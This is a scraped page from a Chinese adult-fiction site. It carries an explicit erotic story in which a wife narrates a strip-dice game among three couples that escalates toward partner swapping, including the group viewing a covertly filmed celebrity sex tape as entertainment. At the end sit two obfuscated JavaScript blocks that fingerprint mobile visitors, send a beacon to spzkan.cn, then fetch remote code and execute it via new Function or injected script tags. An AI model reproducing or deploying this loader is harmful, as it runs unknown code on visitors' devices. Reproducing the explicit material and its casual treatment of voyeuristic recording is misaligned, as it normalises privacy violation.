图片载入中

换妻-渐渐的沦陷

特大字】 【大字】 【中字】 【小字

老公按了门铃,在一阵匆促的脚步声中,雪丽来开了门。

“嗨!好久不见。”“对啊!好久不见。”“赶快进来,阿健和淑敏已经来了呢。”进入宽敞的客厅,沙发上的阿城和阿健与淑敏都站了起来,几个人又是一阵寒暄。

虽说是好久不见,但其实只不过经过十多天而已。

但老公和他们几个热切的样子,就真的好像几个月甚至几年没见面了一样。 我微笑着和雪丽及淑敏分别拉了拉手表示亲近,就一起坐在沙发上。 阿城和阿健都是老公高中的同学,大学又考上同一所,虽然不同系,但感情却好得和亲兄弟差不多,因此大学毕业都十几年了还经常混在一起。 阿健因为念体育系,长的高大粗犷,身高至少185,现在高中当体育老师;阿城较瘦弱,但天生一付做生意的口才和嘴脸,果然毕业后就到一家国际药厂当业务,目前已经是分区经理,他的老婆雪丽则是做保险业务,与阿健的老婆淑敏是同一公司的同事,说起来阿健当初还是雪丽做的媒介绍给淑敏的呢。 而这里是阿城和他老婆雪丽位于台北东郊的一栋三层楼小别墅,虽然地段有些偏远,但在都会区已是相当难得的幽静处所,如果工作性质自由,像阿城和雪丽那样的职业,倒是满合适的住所。

换成是我这样天天必须赶打上班卡,回家又要带小孩的上班妇女,那就无福消受了。

事实上为了到这里来,我还得一大清早先将小女儿蓉蓉送回娘家,请我妈妈代为照料一天呢。

又像是今天虽约好中午12点到这里来吃饭,明明从家中到这边需要一个小时,但在10点多临出门前,老公却不知为什么还一直嫌我所穿的衣服,一下说太过老气、一下说不太休闲、一下又说不够轻盈,我一换再换,气的几乎不想和他一起来了。

最后在他好说歹说求爷爷告奶奶之下,才穿了一套两件式的粉蓝色麻纱无袖上衣和短裙,然后搭配一双白色的系带高跟凉鞋出门。

结果刚刚瞄一下手表,到这里来都已经12点半了,虽说路程远,但迟到还是让我觉得很不好意思。

还好阿城和阿健夫妻四人刚刚好像在看电视,所以至少会转移了他们一点对我们迟到的注意力吧。

不过坐进沙发时萤光幕已经熄灭了,所以也不知道他们刚刚看的是些什么。 雪丽马上过来拉我们起身进餐厅,我这时才注意到她今天穿的真时髦,一件连身式的白色细肩带针织超短迷你洋装,裙长只稍稍掩盖过她小巧圆翘的臀部,

露出修长的双脚穿着黑色高跟凉鞋,让她曲线玲拢的身材表露无疑,亦将她半露出的胸部烘托的更为迷人。

我再看看淑敏,她则是穿着一件橘红色棉质小可爱,露出她纤纤的水蛇腰和白嫩肚皮,配上黑色短皮裙和长统皮靴,身材亦是一般的出色。

看起来我还是穿的最保守的,不过每一次的情况总是这样,我有时都要怀疑老公这么爱跟阿城他们在一起,会不会是因为喜欢看她们的老婆。

有几次我忍不住试着旁敲侧击地问他,他却支支吾吾随口就交待过去了,不过反正和她们也不是成天见面,我也就不再为难他。

但现在转过头去看看老公那个死样子,他的眼光却似乎又有意无意的停驻在雪丽和淑敏身上打转,让我不得不拍他一下,提醒他稍微收敛一点。 说起来,雪丽和淑敏真的有条件这么穿。

我虽然也自认长得相当吸引人,晶莹的美目、窈窕的身材、修匀的双腿与凝脂般的肌肤,向来都是男人目光的焦点,但天生娇弱腼腆的个性以及家里从小的教养,都让我再选择衣着时适可而止,当然还有上班的公司也不容许我们穿的太暴露,更何况我现在都当妈妈了,所以买回来的衣服虽然多能展现我的身材优点,但都不至于露的太过分。

然而雪丽和淑敏就不同了,她们年纪比我要小2、3岁,都还没生小孩,雪丽比我高又比我瘦,一头乌黑俏丽的短发,一对令人无法直视的清澈双眼,还有一个精致分明却又英气十足的美丽脸庞,修长的身材配上胸前两颗浑圆的乳房显示十足干练的行动力。

淑敏则比我稍矮又略为丰腴一些,她的身材也十分匀称,但三围更为突出,尤其硕大的豪乳更是引人遐思,经过挑染的垂肩直发,让她原已娇美可爱的容貌更加妩媚动人。

而她们的皮肤虽没有我那么白皙,但仍保养的光亮洁透。

特别是她们的个性都属于开朗活泼爱玩爱闹那一型,职业上的自由度也比较宽广,所以爱穿什么就穿什么。

我曾私下问她们:“老公都不会管吗?”她们两个开完笑着对我说:“敢管就休了他们!”,但事实上的原因,我想可能还是阿城和阿健当初认识她们,就是喜欢她们的开放的个性和作风吧。

不过风气真是会互相感染的,所以我现在只要是和她们在一起时,穿着衣服也比较大胆,老公也一改以前小气提防的心态,有时还会主动要我多多注意配合一下她们的穿着,像今天要出门前就是这样,真是令人又好气又好笑。 六个人在餐桌上说说笑笑,加上喝点红酒助兴,一顿饭在愉悦的企氛中很快就用毕了。

尤其是阿城,大概是长期跑业务的关系,黄色笑话不断,一个比一个露骨,将他如何和医院总务与医生们到声色场所玩乐的事夸张的讲个不停。

以前初闻他的言词的确相当刺耳,但从他们搬家到这里,每个月到他们家度过周末下午一两次,前后已近半年,经过这么久的时间后,我也差不多习惯他的言论尺度了。

而且他今天还特意泄露老公婚前和他、阿健三个人一起到处荒唐的往事,什么酒店、宾馆乱七八糟的过去,过程钜细靡遗。

害得老公只好无辜的看着我,然后当面要求大家证明那些都是陈年往事了,在他婚后真的什么都没敢再做了。

当然聪慧如我者怎么可能就此相信,心想回家后一定要再好好拷问老公。 不过,我真的有点讨厌阿城这样的人,因为口沫横飞、言不及义,根本不知道他说的是真是假,还经常出莫名其妙的状况给你。

像他不时会夸我“巧妮好漂亮!来来!香一个!”然后作势就要扑将过来,害我不得不赶紧惊叫逃离开。

有一回还真被他抱住,还好我挣扎一下他就放开了。

还有两三回,他会到我耳边说:“巧妮今天穿的三角裤很性感喔。”虽然不知道他是不是真的曾经窥见我裙中的内裤,但已让我在他面前必须三五不时注意调整一下坐姿。

然而令自己有些意外的是,偶尔在出门到他家前,会突然想一下当时穿的内裤样式和颜色是否合宜。

这个念头会什么会出现?

我实在不知所以,内心也异样的发窘,但有几次却还真会因此临时换掉身上原来穿的内衣裤。

今天就是如此,当出门前老公频频催促我换衣服的时候,我就背着他脱掉原来身上的一套肤色内衣裤,另外换穿一套更性感的鹅黄色蕾丝内衣裤。 当然阿城不是只对我这样,对淑敏也是如此,这也让我感到稍微安心一点。 但淑敏似乎满热衷此道,好像演戏一样经常和他搭配的天衣无缝,当阿城抱住她时她就会回抱的更紧,甚至还真的互亲脸颊、互相抚摸起来。

我不知道阿健怎么看待淑敏的热情表演,原本我也满同情阿健的,因为他是那种高高壮壮却看起来没有什么心机的人,不爱说话也不爱现,娶到淑敏那样活泼的老婆通常会被管得死死的。

然而有一次不小心在厨房中却让我撞见阿健似乎正与雪丽拥吻,听到我进去的声响时,两人才急忙分开,从此让我原来的印象彻底改观,我甚至怀疑他们两对夫妻关系的真正情况究竟是怎么一回事。

我曾经将这些情形和心中这个疑问去问老公,老公只连说不可能!

不可能啦!

要我不要再随便胡思乱想。

反正无论如何,事实上这些也都不关我的事,只有管住自己的老公,让他的眼光不会四处飘移到其他女人身上,甚至不小心陷入人家的情欲漩涡中才是最重要的。

不过一瞥见他的眼睛现在还是在雪丽和淑敏的身上打转,我想回家后真的需要好好和他谈一谈。

我有时候不免会怀疑到这里来共渡周末下午的必要性,毕竟这里是老公朋友的家,他爱来是一回事,为什么每次都一定要我陪他来?

但老公对我和他一起来却相当的坚持,另方面我也担心如果我没来,老公会不会也跟雪丽和淑敏纠缠不清起来。

所以虽然有些不愿,也只好每次都陪着他一起来,只是苦了女儿蓉蓉,而且每回又都要牵累妈妈带着她。

但平心而论,我对雪丽和淑敏也十分好奇,甚至有些羡慕。

她们两人对我真的不错,在我面前也少有保留,算是颇谈得来的朋友,所以我们三个女人偶而还会相邀一起去逛街。

其实和她们上街是另一种奇特的经验,三个美貌如玉、身材姣好的女人走在一起,吸引到的苍蝇蚊子还怕不够多吗?

尤其她们两人的衣着又特别性感,害我每回和她们一起出门,也要放宽一下衣着的尺度去配合她们,就这样三只花蝴蝶翩翩在街头翺游,让我又多恢复了几分婚前的自信。

后来我才知道,雪丽和淑敏两人原来也是大学同学,两个人都来自破裂的单亲家庭,在中学时就已经离家自力更生了。

只是雪丽没到大学毕业就被三二退学了,据她自己说是玩得太野的结果。 淑敏比较幸运,虽然成绩都在及格边缘,但至少毕了业。

她们告诉我,她们两人在大学时就是学校中的一对迷人的交际花,加上她们的观念开放,因此拜倒在她们石榴裙下的男生可说不计其数。

如果她们没骗我,当时和她们做过爱的男人少说也有四、五十人,她们还说她们最拿手的是和同一个男生在床上玩3P,那是我第一次听到3P这个名词,我

问她们什么是3P时还着实彻底的被她们取笑了一番。

当然遇到给分严格的男教授,她们也会用这个床上绝招来对付,所以每学期至少都能勉强过关。

至于为何雪丽最后还是被三二,她的讲法是那个学期所修的课,不幸是女老师的课占大多数的缘故。

但淑敏却私下告诉我,当年有位已婚的男教授食髓知味,纠缠她不放,甚至提出许多过分的要求,最后她实在不堪其扰才愤而向校方检举,结果落得她和那个男教授两人都离开学校的下场。

自从知道这件事后,我对于雪丽的观感便完全改变,甚至同情她当时的处境,对她开放的行径也开始有所理解。

反观我自己,虽然已经31岁,但从小就被众人呵护着长大,从就学到就业一直有人照料,没吃过什么苦。

和我原本周遭的人比较起来,我以为我算是比较好奇爱玩的了,但遇到雪莉和淑敏,才知道简直差了十万八千里,尤其是她们的性经历实在超过我的生活圈太多了,根本是我无法想像的境地。

虽然我因为美貌和气质出众所以从来不乏众多追求者,即使婚后还是有些男人搞不清楚状况不时向我表达倾慕之意,但我的性观念一向较为保守,可不是个随便的女人。

曾和我上过床的男人,除了老公之外,就只有两个婚前的男友,所以也仅有三个男人的做爱经历罢了,实在无法想像和四、五十人性交过的经验到底会是什么滋味,因而我也对她们的经历越发好奇。

每次聚会时,她们在她们老公背后,还是会对我谈她们的过往种种,包括工作上的事,有时不经意的会提到婚前为了争取保险业绩而必须牺牲色相甚至自愿献身的往事,我又不禁咋舌以对。

至少我的工作只有一些有色无胆的男同事做做无聊的小小性骚扰而已,还没听过因为工作上的现实压力而必须真枪实弹上床的事。

至于婚后的现在,是不是还得应付这种工作上的麻烦,她们只是暧昧的笑一笑,对我说以后再跟我讲吧。

餐后男人到客厅休息,我和淑敏则七手八脚的将餐桌收拾干净,顺便帮雪莉一起洗碗盘。

以往餐后的娱乐大概就是打麻将,但今天却一直没听到布置麻将桌椅的声响,回到客厅后才知道男人们在看光碟。

没想到擡头一看,萤光幕上竟是男女肉搏战的色情光碟,我猛然想起原来在我和老公进门之前,他们两对夫妻就是在看这种影片啊。

雪丽和淑敏马上就在她们老公旁就座,我虽有些不情愿,但既然大家都不在乎,我也只好在老公身旁坐下。

当然我不是第一回看这种影片,但以往顶多私下和老公在家调情时两个人看看,还没有和这么多不相干的人一起观赏的经验。

大家还是一边喝着红酒,一边看萤幕。

这是一片日本的全裸无马赛克的光碟,随着影片中男女主角宽衣、对吻、互相吸吮生殖器、最后狂抽猛插性交狂欢,色情片永远都是这一套。

但这回在女主角的浪叫声中,却多了众男女的讨论和调笑。

“呦!这男的鸡巴好粗大喔。”“有没有我的粗呢?”“死相!”“这女的小穴好嫩呢!”“对呀!还水水的,不比你差哩。”“你很讨厌啦!”“哎呀!

怎么会有这种性交的方式呢?太神了!”“你也可以试看看啊!”“呵呵!”大概是刚刚餐桌上喝了一点酒,大家讲话已经肆无忌惮起来,这些淫秽的话对我来说相当刺耳,至少我自己还是讲不出口的,连我和对老公做爱时都是如此,更何况是在众人面前。

但大家看看讲讲也就算了,我也不想就此扫了大家的兴。

好不容易片子播完了,阿城却又神秘兮兮的拿出另一张光碟片,要大家猜是什么内容?

虽然知道那八成又是色情片,但大伙儿七嘴八舌东猜西猜,哪里猜的到那是什么内容?

最后阿城才面带邪恶的公布答案。

“这是这两天闹的满城风雨的某当红女星的作爱光碟喔。”“啊!……”大家不禁惊唿,那是某个号称最美丽、最有文艺气息的当红影视多栖女明星,最近传出在与某大亨交往时,被狗仔队事先安装的针孔摄影机所盗录下来的一片在五星大饭店作爱的光碟,女星和大亨虽都分别召开记者会严辞否认,但据报章杂志登载的报导和部分图文,却又是煞有其事的样子。

我虽对这种行为不齿,但好奇心向来旺盛的我,这下子却也和众人一样,迫不及待的想看看这片光碟的内容究是什么。

在众人的期盼中,光碟开始播映,画面不是很清楚,音效也很差,但重点部位却都看得到,声音也可以辨认。

尤其女星的面目和私处,都相当清楚。

在宽衣解带后,那女星自己褪下身上仅有的白色三角裤,然后一嘴吸住大亨的鸡巴上下滑动,发出淫荡的啧啧声响,最后还自己坐在大亨身上,握住那条鸡巴往自己的黑茸茸的阴户中送进去,然后嗲劲十足的狂叫“哥哥……快呀……舒服呀……”等淫声浪语,实在和她平常所特意表现出来的知书达礼、聪慧温婉的形象完全不同,也终于叫人见识了什么叫做表里不一。

光碟已近尾声,大家转而开始讨论起影剧圈的种种黑幕。

阿健在未当体育老师前,因为体格健硕曾被星探相中,演了几出不知名的电视剧,他就说影剧圈内的淫乱实是外人所难以想像,还举了几个他知道的实例告诉大家。

阿城也把声色场所中传闻的女星价码拿出来做比较,还以他从某些医生听来的消费经验来分析验证顺便品头论足。

淑敏也诉说她的客户中某些担任经纪人者曾告诉她的替女星和大户拉皮条的种种经过。

一说到社会中的淫乱现象,依我的看法,归根究底还不是男人喜欢物化女人的天性所造成的结果,特别是纨裤子弟以追求名女星为乐才形成某种恶性循环。

于是我也提高了兴致,提出我的观点加入讨论,就这样你一言我一语,将客厅中的热络气氛又带到了高点,我的心情更随之放松,还不经意的又多喝了些红酒。

其实众人皆有不同意见,这种讨论本来就不会有什么结果的。

但是雪丽后来有句话,却一直在我脑海中盘旋,她对我说的“女人在影剧圈只是被利用来赚钱的工具却无所得”的讲法,只淡淡地回应“也许她们也从中得到意想不到的乐趣,因此才会无法自拔吧。”我不经意的将这句话联想到她在职场上争取业绩时与男人上床的往事,难道…她说的是她自己的经验吗? 我是不是想的太多了一点。

影片终于播完,讨论也告一段落。

有人提议打麻将,但却有更多人反对。

“每次都打麻将,烦不烦啊!”“对嘛!来点新鲜的啦。”“是啊!HIGH一点的好不好啊!”就这样又一阵七嘴八舌,还是讨论不出接下来要做什么。

阿城突然收起嘻皮笑脸,正色道:“嗯!这样好了!”“我们就来玩一个最刺激的。”“耶!好啊!…”我同其他人一起叫好。

“但是在场的任何人都不能反对。”阿城又面色凝重的说。

“好啊!好啊!……”大家都一致说好。

“如果有人反对,就要任凭他人处置喔。”阿城继续道。

“好!好!……”我有点犹豫,但可能酒喝多了点,还是跟大家一起同意。 阿城又重新换回嘻皮笑脸。

“到底要玩什么?快点说啦。”大家催促着阿城。

阿城缓缓的说出他的游戏。

他说要玩掷骰子。

掷骰子有什么了不起?

那又有什么刺激?

但是听完他的游戏内容,却叫我脸上一阵红一阵绿。

原来他要大家玩的掷骰子不是像以前一样赌钱或是赌酒,而是要赌脱衣服,也就是六个人一起掷骰子,每轮最输的人就要自己脱一件衣服,最后看谁运气最背,最先脱光光。

我的天啊!

哪有这种玩法?

但是雪丽和淑敏两个人却马上狂唿叫好!

阿健和以往一样不说话却点点头。

我只能寄望老公出言反对了,赶紧伸手去紧握住老公的手。

“好!”从老公口中却吐出了我最不想听见的字,我不可置信的转头去看老公,却瞧见他的眼光又停留在雪丽和淑敏的身上。

这时候除了老公,其他四个人八只眼睛都一起投向我,等着我的答案。 我真的好想说不,但不知怎么的,就是没有勇气说出口。

“巧妮,别忘了刚才的约定喔,你如果现在不同意就要任凭我们处置哦。”阿城面带邪恶的将眼睛盯向我短裙下的白皙双腿说。

我连忙将双腿又并拢一些。

糟糕!

这下可后悔莫及了,刚刚未经深思,答应的实在太快了。

我早该知道阿城从没什么好心眼。

如果我落在他手中任凭他处置,下场只会更惨,他又不知会出什么样的馊主意来整我了。

我又想起他之前张开双手环抱着我的恶心嘴脸,心中一阵心慌。

但是老公呢?

老公这时应该出面替我解围吧。

老公!

老公!

我心中暗暗叫着,希望他能回头看我一下,了解我的心情,赶快替我解决这个难题吧。

但老公依然将眼光对着旁座的雪丽和淑敏,我心中的忌妒和不满顿时上升到最高点。

这个死鬼!

我就知道,他妄想看一看雪丽和淑敏的肉体已经很久了,这个游戏的建议对他来说,就像如鱼得水一般深合他意,甚至让他妻子的肉体同时让别的男人欣赏也毫不以为意。

可恶!

可恨!

好!

很好!

既是如此,难道以我的身材就会怕被别人看啊?

就这样,念头七转八转之下,心中一横,于是也开口说“好!”众人大乐,但是我又不急不徐道:“不过,我有一个条件,如果你们不答应,那就拉倒不玩。”

大家连忙要我说说是什么条件。

在刚刚暗下决定同意之时,我也静下心来寻思自己到底穿了几件衣服,有多少赌骰子的本钱。

今天的外衣一共两件、加上胸罩和内裤,还有两只凉鞋共六件,可能和淑敏差不多,比雪丽多一点,三个臭男人也差不多五、六件,这样根本占不了什么便宜。

但如果能加上耳环、项炼、戒指、手表这些小玩意,男人一定比不过女人,而我可能又是众女人里面赌本最多的。

所以我所开出的条件是除了衣服之外,也必须加上全身上下的所有饰物才行。

男人们闻言纷纷摇头反对,因为他们吃的亏最大。

但雪丽和淑敏则站在我这边表示支持,最后这三个臭男人大概因为色欲熏心,怎样也不想放过这个窥见三个如花似玉的美女一起在这里尽撤藩篱的大好机会,最后还是答应了下来。

阿城到楼上去取骰子,雪丽则进厨房去拿一个瓷制大碗公,于是在两粒骰子与碗壁互相碰撞的叮零叮零声中,游戏开始了。

第一轮竟是我的点数最少,但是没关系,我把左耳的耳环给取了下来。 第二轮是阿健最少点,他将手中的手表脱下。

第三轮则是阿城拿个“BG”,理所当然是他输。

他一面耍宝一面对大家解释“B者“屄”也,G者“鸡”也。”在众人的笑闹声中,他竟放着有其他东西可脱不管,自己先脱掉了下身的长裤,当然又惹来一阵哄堂讪笑。

就这样十几轮下来,胜负的成果已经有了端倪,阿健身上只剩下一条三角紧身黑内裤;阿城还穿着豹纹小内裤和两只黑短袜;老公也还有上身的T恤、下身的白色平口内裤和一只袜子;我还好饰品不少,所以还留有无袖上衣、短裙及里面的胸罩和三角裤,另外还有一只凉鞋;雪丽身上的细肩带针织超短迷你洋装还在,里头应该还有胸罩和内裤;最惨的是淑敏,只有剩下红色的半罩式胸罩和低腰半透明的纱质三角裤,胸罩内的乳晕和内裤中的乌黑草丛都已经若隐若现了。

万万没料到,这时阿城又站起身来出馊主意了,他嘟嘟囔囔着“这样还不够刺激!不够火辣!”既然玩兴已起,大家就再听听他倒底还有什么鬼怪的建议,

没想到他的意见果然有够劲爆。

他的提议竟然是我们三对夫妻,等会儿如果同对夫妻中的一个已输到脱个精光,仍继续掷骰子参加游戏,但再输的话则由其夫或妻脱衣为他相抵,也就是最后夫妻俩人将有一起脱光的机会,而夫妻两个人都输到脱光的最先一对,就要当场做爱给其他夫妻们观赏。

这下子我又被吓住了,但雪丽马上唿应她老公的建议,阿健和淑敏也说好,又仅剩下我和老公两个人还没表示意见。

老公看看我,大概见我面显难色,低头贴近我耳朵说:“你看看阿健和淑敏,他们剩下的衣物最少,待会儿一定是他们输,我们可以赌赌看。”我瞪了他一眼,这种荒唐事也可以赌啊!

但是我本来的个性就有点好奇,又爱作弄人,加上老公说的没错,目前的态势下我身上的衣物是最多的,老公也不少,应该不至于会落到两个人都脱光光的地步吧。

愈想愈对,从来也没看过别人现场做爱究竟是个什么景象,说不定今天就可以开开眼界喔。

于是我也终于微微地点了点头,老公见状喜出望外,高声道“好!好!”游戏重新开始,接下来果然是淑敏输了,她二话不说站起身来,当众脱下她的胸罩,原本已几乎遮掩不住的豪乳马上蹦跳出来,两颗红嫩嫩的乳头在两片乳晕上挺立,没想到她的乳房竟是如此好看,不要说是男人了,现在就连我的目光都驻足在她的胸前不放。

淑敏将脱下来的胸罩丢在椅背上,接着毫无羞赧之色的自己握住双乳做势搓揉一番,还贴近阿健的脸颊去搔弄一番,两个乳头马上绽放的更加艳丽,阿城和我老公叫好连连之下,也不管我和雪丽的意见,直说等一下其他女人也要比照办理。

雪丽则不甘示弱,马上提议待会男人脱光裤子时,也得要套弄自己的阴茎一番才行,没想到男人们果真也表示同意。

接下来雪丽连输了两把,于是她接连将细肩带针织超短迷你洋装缓缓褪去,又将里头的无肩带白色花边半罩式的单薄胸罩也脱下来丢在阿城的头上,露出香软迷人的乳房,于是身上只剩下一件紧包住阴户的白色花边丁字裤。

她的乳房也很可观,虽没淑敏的规模大但更为圆翘,乳晕则较淑敏为小但乳头却更尖挺,当然她也紧紧握住自己的乳房,更用两手的大拇指分别在双边的乳尖上抠弄,直到粉红的乳头耸立并变成诱人的桃红色,便将变得又尖又长的乳头送到阿城口中让他吸吮,于是众人大乐,叫好不绝。

但没有想到最先输到脱光衣物的,反倒是阿城,阿城脱下豹纹内裤后,马上夸张的握住他那根已经直挺饱胀的阴茎,前后套弄几下仍意犹未尽,干脆放到雪丽面前,让她伸出舌尖去舔他龟头上的马眼,阿城原本顺势要将整只鸡巴塞入雪丽的嘴巴中,雪丽却笑着推开他说:“不行!不行!游戏还没完呢。”接下来则是阿健输了,他脱下仅剩的黑色三角内裤,没想到他下身胀大的鸡巴竟然那么粗又那么长,果然符合他的体育老师身份。

我面红耳赤的偷偷瞄着他那条大家伙,如以我所曾见过三个成年男人的阳具与他们相较,阿健这条鸡巴应是最巨大的了,刚刚看到阿城的那只则算是较短的,但阿城的龟头却是不成比例的隆起,好像带着一颗膨胀的兵乓球般的奇特模样。


上一篇:姐姐将她肥嫩的阴瓣掰开

下一篇:干了熟睡中的丰满姐姐


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};